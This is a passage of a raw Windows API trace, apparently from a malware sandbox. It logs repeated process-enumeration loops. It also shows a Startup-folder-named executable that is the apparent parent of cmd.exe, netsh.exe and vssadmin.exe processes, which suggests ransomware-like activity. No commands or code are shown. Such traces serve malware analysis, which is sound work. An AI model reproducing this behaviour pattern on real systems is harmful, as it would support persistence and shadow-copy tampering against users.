cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cropssonic.exe")) returned 1 [0054.901] GetLastError () returned 0x12 [0054.901] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vampire.exe")) returned 1 [0054.901] GetLastError () returned 0x12 [0054.902] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="declaration_earrings_moms.exe")) returned 1 [0054.902] GetLastError () returned 0x12 [0054.902] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="damaged.exe")) returned 1 [0054.903] GetLastError () returned 0x12 [0054.903] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrong.exe")) returned 1 [0054.904] GetLastError () returned 0x12 [0054.904] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="roll_plates.exe")) returned 1 [0054.904] GetLastError () returned 0x12 [0054.904] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="professionalheavywidth.exe")) returned 1 [0055.353] GetLastError () returned 0x12 [0055.353] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="command.exe")) returned 1 [0055.354] GetLastError () returned 0x12 [0055.354] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="friend_medicine.exe")) returned 1 [0055.355] GetLastError () returned 0x12 [0055.355] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="examine.exe")) returned 1 [0055.356] GetLastError () returned 0x12 [0055.356] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="september_introduced_justice.exe")) returned 1 [0055.356] GetLastError () returned 0x12 [0055.356] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0055.357] GetLastError () returned 0x12 [0055.357] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe")) returned 1 [0055.358] GetLastError () returned 0x12 [0055.358] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xa54, pcPriClassBase=8, dwFlags=0x0, szExeFile="cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe")) returned 1 [0055.358] GetLastError () returned 0x12 [0055.358] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa54, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0055.359] GetLastError () returned 0x12 [0055.359] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa54, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0055.360] GetLastError () returned 0x12 [0055.360] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0055.361] GetLastError () returned 0x12 [0055.361] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0055.361] GetLastError () returned 0x12 [0055.361] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb34, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0055.362] GetLastError () returned 0x12 [0055.362] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb3c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0055.363] GetLastError () returned 0x12 [0055.363] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0055.363] GetLastError () returned 0x12 [0055.363] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.364] GetLastError () returned 0x12 [0055.364] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0055.365] CloseHandle (hObject=0x174) returned 1 [0055.365] Sleep (dwMilliseconds=0x1f4) [0056.077] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x184 [0056.079] Process32FirstW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0056.080] GetLastError () returned 0x12 [0056.080] Process32NextW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0056.081] GetLastError () returned 0x12 [0056.081] Process32NextW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0056.082] GetLastError () returned 0x12 [0056.082] Process32NextW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0056.082] GetLastError () returned 0x12 [0056.082] Process32NextW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0056.083] GetLastError () returned 0x12 [0056.083] Process32NextW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0056.084] GetLastError () returned 0x12 [0056.084] Process32NextW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0056.084] GetLastError () returned 0x12 [0056.085] Process32NextW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0056.085] GetLastError () returned 0x12 [0056.085] Process32NextW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0056.086] GetLastError () returned 0x12 [0056.086] Process32NextW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0056.087] GetLastError () returned 0x12 [0056.087] Process32NextW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.087] GetLastError () returned 0x12 [0056.087] Process32NextW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.088] GetLastError () returned 0x12 [0056.088] Process32NextW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.089] GetLastError () returned 0x12 [0056.089] Process32NextW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.089] GetLastError () returned 0x12 [0056.089] Process32NextW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2f, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.090] GetLastError () returned 0x12 [0056.090] Process32NextW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0056.091] GetLastError () returned 0x12 [0056.091] Process32NextW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.091] GetLastError () returned 0x12 [0056.091] Process32NextW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.092] GetLastError () returned 0x12 [0056.092] Process32NextW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0056.093] GetLastError () returned 0x12 [0056.093] Process32NextW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0056.094] GetLastError () returned 0x12 [0056.094] Process32NextW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0056.095] GetLastError () returned 0x12 [0056.095] Process32NextW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0056.095] GetLastError () returned 0x12 [0056.095] Process32NextW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.096] GetLastError () returned 0x12 [0056.096] Process32NextW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0056.097] GetLastError () returned 0x12 [0056.097] Process32NextW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0056.097] GetLastError () returned 0x12 [0056.097] Process32NextW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shakespeare-back.exe")) returned 1 [0056.098] GetLastError () returned 0x12 [0056.098] Process32NextW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="josh.exe")) returned 1 [0056.099] GetLastError () returned 0x12 [0056.099] Process32NextW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="senior.exe")) returned 1 [0056.099] GetLastError () returned 0x12 [0056.099] Process32NextW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashers-liability-centered.exe")) returned 1 [0056.100] GetLastError () returned 0x12 [0056.100] Process32NextW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="txtranslated.exe")) returned 1 [0056.101] GetLastError () returned 0x12 [0056.101] Process32NextW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="started.exe")) returned 1 [0056.101] GetLastError () returned 0x12 [0056.101] Process32NextW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="microwaveanalysis.exe")) returned 1 [0056.102] GetLastError () returned 0x12 [0056.102] Process32NextW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="infectiouscomparison.exe")) returned 1 [0056.103] GetLastError () returned 0x12 [0056.103] Process32NextW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pd barnes.exe")) returned 1 [0056.103] GetLastError () returned 0x12 [0056.104] Process32NextW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tradition.exe")) returned 1 [0056.104] GetLastError () returned 0x12 [0056.104] Process32NextW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="genetics dm penguin.exe")) returned 1 [0056.105] GetLastError () returned 0x12 [0056.105] Process32NextW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="metrichours.exe")) returned 1 [0056.106] GetLastError () returned 0x12 [0056.106] Process32NextW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cropssonic.exe")) returned 1 [0056.106] GetLastError () returned 0x12 [0056.106] Process32NextW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vampire.exe")) returned 1 [0056.107] GetLastError () returned 0x12 [0056.107] Process32NextW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="declaration_earrings_moms.exe")) returned 1 [0056.108] GetLastError () returned 0x12 [0056.108] Process32NextW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="damaged.exe")) returned 1 [0056.108] GetLastError () returned 0x12 [0056.109] Process32NextW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrong.exe")) returned 1 [0056.109] GetLastError () returned 0x12 [0056.109] Process32NextW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="roll_plates.exe")) returned 1 [0056.110] GetLastError () returned 0x12 [0056.110] Process32NextW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="professionalheavywidth.exe")) returned 1 [0056.111] GetLastError () returned 0x12 [0056.111] Process32NextW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="command.exe")) returned 1 [0056.111] GetLastError () returned 0x12 [0056.111] Process32NextW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="friend_medicine.exe")) returned 1 [0056.112] GetLastError () returned 0x12 [0056.112] Process32NextW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="examine.exe")) returned 1 [0056.113] GetLastError () returned 0x12 [0056.113] Process32NextW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="september_introduced_justice.exe")) returned 1 [0056.113] GetLastError () returned 0x12 [0056.113] Process32NextW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0056.114] GetLastError () returned 0x12 [0056.114] Process32NextW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe")) returned 1 [0056.576] GetLastError () returned 0x12 [0056.576] Process32NextW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xa54, pcPriClassBase=8, dwFlags=0x0, szExeFile="cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe")) returned 1 [0056.577] GetLastError () returned 0x12 [0056.577] Process32NextW (in: hSnapshot=0x184, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb34, th32DefaultHeapID=0x0, th32ModuleID=0x0, 